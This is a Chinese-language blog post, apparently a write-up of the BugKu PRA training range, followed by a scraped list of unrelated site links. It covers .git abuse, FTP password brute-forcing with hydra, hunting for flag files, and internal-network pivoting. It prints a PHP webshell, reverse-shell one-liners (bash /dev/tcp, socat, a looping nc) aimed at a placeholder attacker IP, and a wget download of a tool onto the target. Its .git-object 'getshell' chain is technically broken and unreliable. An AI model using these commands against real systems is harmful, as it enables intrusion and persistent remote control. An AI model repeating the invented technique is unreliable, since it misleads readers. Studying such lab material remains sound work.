当前位置: 首页 > news >正文

BugKu PRA靶场复盘:除了漏洞利用,Git仓库getshell与FTP弱口令这些“边角料”也别放过

BugKu PRA靶场复盘:那些容易被忽略的攻击面实战指南

在渗透测试的实战中,真正的挑战往往不在于那些教科书式的漏洞利用,而在于如何发现并利用那些被大多数人忽略的"边角料"。本文将带你深入BugKu PRA靶场中那些容易被忽视的攻击面,从Git仓库利用到FTP弱口令突破,再到关键文件挖掘,为你打开渗透测试的新视角。

1. Git仓库:从信息泄露到getshell的完整链条

当扫描发现.git目录时,大多数人的第一反应是使用git-dumper工具下载仓库内容。但在实战中,这仅仅是开始。

1.1 深入挖掘.git目录的价值

标准的.git目录下载后,我们通常会检查:

  • config文件:可能包含数据库凭证或内部服务地址
  • logs/HEAD:查看最近提交记录,寻找敏感注释
  • index文件:分析当前暂存区内容

但PRA靶场展示了一个更隐蔽的攻击路径:利用可解析的服务器文件后缀。当服务器配置不当,允许解析.phtml等特殊后缀时,我们可以:

# 检查服务器是否解析.phtml curl -I http://192.168.1.3/.git/backdoor.phtml

1.2 实战中的getshell技巧

在确认服务器解析.phtml后,攻击流程如下:

  1. 在本地创建恶意文件:

    <?php system($_GET['cmd']); ?>
  2. 利用git对象存储机制上传:

    git hash-object -w backdoor.phtml
  3. 通过git的松散对象访问机制执行:

    http://192.168.1.3/.git/objects/xx/xxxxxx

注意:不同服务器对git对象的访问权限设置不同,有时需要尝试多种路径组合。

2. FTP服务:弱口令与目录遍历的深度利用

面对仅开放21端口的FTP服务,很多测试者会轻易放弃。但PRA靶场证明,这里可能藏着关键突破口。

2.1 高效爆破FTP弱口令的策略

不要局限于常见的admin/admin组合,实战中有效的爆破字典应包含:

  • 用户名密码相同的情况(如guest/guest)
  • 公司名/产品名相关的组合
  • 近期数据泄露中的高频凭证

使用hydra进行智能爆破:

hydra -L common_users.txt -P top100_passwords.txt ftp://10.10.0.3 -t 4 -vV

2.2 登录后的关键操作清单

成功登录FTP后,立即执行以下检查:

  1. 查看当前目录文件列表:

    ls -la
  2. 检查可写目录:

    find . -writable -type d
  3. 寻找包含特定关键词的文件:

    find . -name "*.sh" -o -name "*.conf"

3. 文件翻找:渗透测试中的"寻宝游戏"

在获取初步权限后,系统性地翻找文件往往能发现意外收获。

3.1 必须检查的关键文件位置

文件类型典型路径可能包含的信息
启动脚本/start.sh, /etc/init.d/环境变量、服务配置
配置文件.conf, config.数据库凭证、API密钥
日志文件/var/log/*访问记录、错误信息
临时文件/tmp/, /var/tmp/进程转储、会话数据

3.2 从start.sh中发现关键线索

PRA靶场中,start.sh文件揭示了flag3的位置。分析这类脚本时,重点关注:

  • 环境变量设置
  • 服务启动参数
  • 文件包含关系
  • 注释中的提示信息

例如:

#!/bin/bash # flag3 is in the static/js/utils.js npm start

4. 多层网络环境下的渗透策略

当目标处于多层网络后时,需要调整扫描和利用策略。

4.1 内网扫描的精准方法

使用适合内网的轻量级扫描器:

# 快速识别存活主机 fscan -h 192.168.0.1/24 -p 21,22,80,443 -o result.txt # 深度服务识别 nmap -sS -sV -T4 -Pn 10.10.0.3 --script=banner

4.2 稳定维持访问的技术要点

在连接不稳定的内网环境中,建议:

  1. 使用多种反弹shell方式:

    # 基础bash反弹 bash -i >& /dev/tcp/your_ip/4444 0>&1 # 使用socat更稳定 socat TCP:your_ip:4444 EXEC:/bin/bash
  2. 设置自动重连机制:

    while true; do nc your_ip 4444 -e /bin/bash; sleep 5; done
  3. 优先上传静态二进制工具:

    # 上传静态编译的busybox wget http://your_server/busybox -O /tmp/busybox chmod +x /tmp/busybox

渗透测试的艺术在于将每个看似微不足道的发现转化为实际突破口。在最近的一次红队演练中,正是通过系统性地检查.git目录和FTP服务,我们绕过了目标系统的主要防护措施。记住,没有无用的信息,只有未被充分利用的信息。

http://www.jsqmd.com/news/909187/

相关文章:

  • 广东省2026年普通专升本投档工作稳步推进,广州商学院普通批次生源质量显著提升 - 速递信息
  • 输入一个关键词,AI 帮你从写稿到出片全自动完成:MoneyPrinterTurbo 深度解析
  • CIC2026开发成本榜单:低代码部署成本横评与开发优化实战
  • 新风换气机厂家/风机箱哪家好?2026风机箱|新风换气机源头厂家推荐:亿恒空调领衔 - 栗子测评
  • 鸿蒙数学 108 篇 第二十六篇:数轴与三才方位对应
  • 适配多管路多介质!2026油泵流量测量传感器品牌优选推荐 - 品牌2025
  • 太原黄金回收怎么挑?六家机构速览对比一览 - 专业黄金回收
  • 别再只会用RBAC了!聊聊权限设计的那些坑:从ACL到ABAC,你的系统到底该选哪个?
  • 2026年5月最新|上海GEO优化公司精选推荐,多家本土服务商实力测评与选型参考 - GEO排行榜
  • 泸州黄金回收实测对比:六家机构谁更良心?长悦排第几? - 专业黄金回收
  • 深入解析ARK Core v3启动流程与事件驱动架构
  • 如何在5分钟内实现Windows原生读写Btrfs文件系统的终极简单方案
  • COM3D2 MaidFiddler:终极实时女仆编辑器完整指南
  • 成都护栏网厂家公司排行榜选型参考与核心维度 - 速递信息
  • 性能测试笔记
  • MATLAB科研绘图进阶:用STernary工具箱5分钟搞定专业级三元相图
  • 如何轻松实现微信聊天记录永久保存:WeChatMsg创新备份解决方案
  • 转子外壳涂胶用的流量传感器哪家好?2026优质品牌推荐 - 品牌2025
  • 昆明黄金回收六家靠谱机构实测推荐,长悦领衔放心变现 - 专业黄金回收
  • 2026 电机磁铁品牌权威推荐:顶峰磁材领跑全产业链,凭实力登顶 - 玖叁鹿
  • 2026年全国5大传感器企业推荐!2026最新排名出炉,道威斯顿(中国)有限公司实力领先 - 十大品牌榜
  • 从AD/ADS转战Cadence OrCAD 17.4:一个电磁场硕士的软件迁移实战与避坑心得
  • 鸿蒙数学 108 篇 第二十七篇:序关系基础法则
  • 2026年4月观光车公司推荐,社区巡逻车/电动小型消防车/校园巡逻车/高尔夫球车电车/电动巡逻车,观光车公司哪家好 - 品牌推荐师
  • 数字时代真实性挑战:从数据模型到伦理实践的技术应对
  • 从‘美团’‘京东’分类案例出发,详解SQLite中CASE WHEN与字符串匹配的三种实战写法
  • 2026遵义装修公司靠谱推荐:本土实力装企盘点,规避装修常见套路 - GEO排行榜
  • 浙江全封闭高复靠谱吗?沉浸式学习氛围更适合复读 - 玖叁鹿
  • 02_Java基础语法入门
  • AI时代生存指南:从工具驾驭到思维升级的五个核心理由